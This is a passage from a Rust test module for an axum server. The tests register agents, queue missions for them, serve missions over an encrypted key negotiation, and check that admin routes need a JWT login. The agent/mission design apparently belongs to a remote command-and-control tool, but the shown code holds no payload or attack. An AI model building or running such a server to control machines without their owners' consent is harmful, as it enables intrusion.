239 | result: None, 240 | issued_at: Default::default(), 241 | completed_at: None, 242 | })?))?, 243 | ) 244 | .await?; 245 | 246 | assert_eq!(response.status(), StatusCode::CREATED); 247 | let mission = services::missions::get_next(state.conn.clone(), agent.id)?; 248 | assert!(mission.is_some()); 249 | let Some(mission) = mission else { 250 | panic!("Mission not found"); 251 | }; 252 | assert_eq!(mission.agent_id, agent.id); 253 | Ok(()) 254 | } 255 | 256 | #[tokio::test] 257 | async fn test_get_next_mission() -> OsefResult { 258 | let state = state()?; 259 | let mut signing_key = crypto::get_signing_key(); 260 | 261 | let agent = services::agents::create( 262 | state.conn.clone(), 263 | "Michel c'est le Brésil", 264 | signing_key.verifying_key(), 265 | model::Platform::default(), 266 | )?; 267 | 268 | services::missions::create(state.conn.clone(), agent.id, model::Task::Stop)?; 269 | 270 | let (private_key, crypto_negociation) = model::CryptoNegociation::new(&mut signing_key); 271 | 272 | let response = app(state.clone()) 273 | .oneshot( 274 | axum::http::Request::builder() 275 | .method(Method::GET) 276 | .uri("/missions") 277 | .header(PLATFORM_HEADER, PLATFORM.to_string()) 278 | .header(header::CONTENT_TYPE, "application/json") 279 | .body(Body::from(serde_json::to_string(&crypto_negociation)?))?, 280 | ) 281 | .await?; 282 | 283 | assert_eq!(response.status(), StatusCode::OK); 284 | let body = response.into_body().collect().await?.to_bytes(); 285 | let crypto_message = serde_json::from_slice::(&body)?; 286 | let mission = 287 | serde_json::from_slice::(&crypto_message.decrypt(private_key)?)?; 288 | assert_eq!(mission.agent_id, agent.id); 289 | Ok(()) 290 | } 291 | 292 | #[tokio::test] 293 | async fn test_admin_routes_not_logged_in() -> OsefResult { 294 | let mut app = app(state()?); 295 | 296 | // GET /agents 297 | let response = app 298 | .as_service() 299 | .ready() 300 | .await? 301 | .call( 302 | axum::http::Request::builder() 303 | .method(Method::GET) 304 | .uri("/agents") 305 | .header(PLATFORM_HEADER, PLATFORM.to_string()) 306 | .header(header::CONTENT_TYPE, "application/json") 307 | .body(Body::empty())?, 308 | ) 309 | .await?; 310 | assert_eq!(response.status(), StatusCode::UNAUTHORIZED); 311 | // PUT /agents/1 312 | let response = app 313 | .as_service() 314 | .ready() 315 | .await? 316 | .call( 317 | axum::http::Request::builder() 318 | .method(Method::PUT) 319 | .uri("/agents/1") 320 | .header(PLATFORM_HEADER, PLATFORM.to_string()) 321 | .header(header::CONTENT_TYPE, "application/json") 322 | .body(Body::empty())?, 323 | ) 324 | .await?; 325 | assert_eq!(response.status(), StatusCode::UNAUTHORIZED); 326 | // DELETE /agents/1 327 | let response = app 328 | .as_service() 329 | .ready() 330 | .await? 331 | .call( 332 | axum::http::Request::builder() 333 | .method(Method::DELETE) 334 | .uri("/agents/1") 335 | .header(PLATFORM_HEADER, PLATFORM.to_string()) 336 | .header(header::CONTENT_TYPE, "application/json") 337 | .body(Body::empty())?, 338 | ) 339 | .await?; 340 | assert_eq!(response.status(), StatusCode::UNAUTHORIZED); 341 | // POST /missions 342 | let response = app 343 | .as_service() 344 | .ready() 345 | .await? 346 | .call( 347 | axum::http::Request::builder() 348 | .method(Method::POST) 349 | .uri("/missions") 350 | .header(PLATFORM_HEADER, PLATFORM.to_string()) 351 | .header(header::CONTENT_TYPE, "application/json") 352 | .body(Body::empty())?, 353 | ) 354 | .await?; 355 | assert_eq!(response.status(), StatusCode::UNAUTHORIZED); 356 | // GET /missions/1 357 | let response = app 358 | .as_service() 359 | .ready() 360 | .await? 361 | .call( 362 | axum::http::Request::builder() 363 | .method(Method::GET) 364 | .uri("/missions/1") 365 | .header(PLATFORM_HEADER, PLATFORM.to_string()) 366 | .header(header::CONTENT_TYPE, "application/json") 367 | .body(Body::empty())?, 368 | ) 369 | .await?; 370 | assert_eq!(response.status(), StatusCode::UNAUTHORIZED); 371 | // PUT /test_not_found 372 | let response = app 373 | .as_service() 374 | .ready() 375 | .await? 376 | .call( 377 | axum::http::Request::builder() 378 | .method(Method::PUT) 379 | .uri("/test_not_found") 380 | .header(PLATFORM_HEADER, PLATFORM.to_string()) 381 | .header(header::CONTENT_TYPE, "application/json") 382 | .body(Body::empty())?, 383 | ) 384 | .await?; 385 | assert_eq!(response.status(), StatusCode::NOT_FOUND); 386 | 387 | Ok(()) 388 | } 389 | 390 | #[tokio::test] 391 | async fn test_admin_login_unauthorized() -> OsefResult { 392 | let mut signing_key = crypto::get_signing_key(); 393 | let (_private_key, crypto_negociation) = model::CryptoNegociation::new(&mut signing_key); 394 | 395 | let response = app(state()?) 396 | .as_service() 397 | .ready() 398 | .await? 399 | .call( 400 | axum::http::Request::builder() 401 | .method(Method::GET) 402 | .uri("/") 403 | .header(header::CONTENT_TYPE, "application/json") 404 | .body(Body::from(serde_json::to_string(&crypto_negociation)?))?, 405 | ) 406 | .await?; 407 | 408 | assert_eq!(response.status(), StatusCode::UNAUTHORIZED); 409 | assert!(response.into_body().collect().await?.to_bytes().is_empty()); 410 | Ok(()) 411 | } 412 | 413 | #[tokio::test] 414 | async fn test_admin_login() -> OsefResult { 415 | let mut state = state()?; 416 | let (_private_key, crypto_negociation) = 417 | model::CryptoNegociation::new(&mut state.signing_key); 418 | 419 | let response = app(state.clone()) 420 | .as_service() 421 | .ready() 422 | .await? 423 | .call( 424 | axum::http::Request::builder() 425 | .method(Method::GET) 426 | .uri("/") 427 | .header(header::CONTENT_TYPE, "application/json") 428 | .body(Body::from(serde_json::to_string(&crypto_negociation)?))?, 429 | ) 430 | .await?; 431 | 432 | assert_eq!(response.status(), StatusCode::OK); 433 | let body = response.into_body().collect().await?.to_bytes(); 434 | let jwt = serde_json::from_slice::(&body.to_vec())?; 435 | let claim = jwt::Claim::from_jwt(&jwt, state.signing_key.as_bytes())?; 436 | assert!(!claim.expired()); 437 | 438 | let response = app(state) 439 | .as_service() 440 | .ready() 441 | .await? 442 | .call( 443 | axum::http::Request::builder() 444 | .method(Method::GET) 445 | .uri("/agents") 446 | .header(header::AUTHORIZATION, format!("Bearer {jwt}")) 447 | .body(Body::empty())?, 448 | ) 449 | .await?; 450 | 451 | assert_eq!(response.status(), StatusCode::OK); 452 | let body = response.into_body().collect().await?.to_bytes(); 453 | let agents = serde_json::from_slice::>(&body)?; 454 | assert!(agents.is_empty()); 455 | Ok(()) 456 | } 457 | } 458 | --------------------------------------------------------------------------------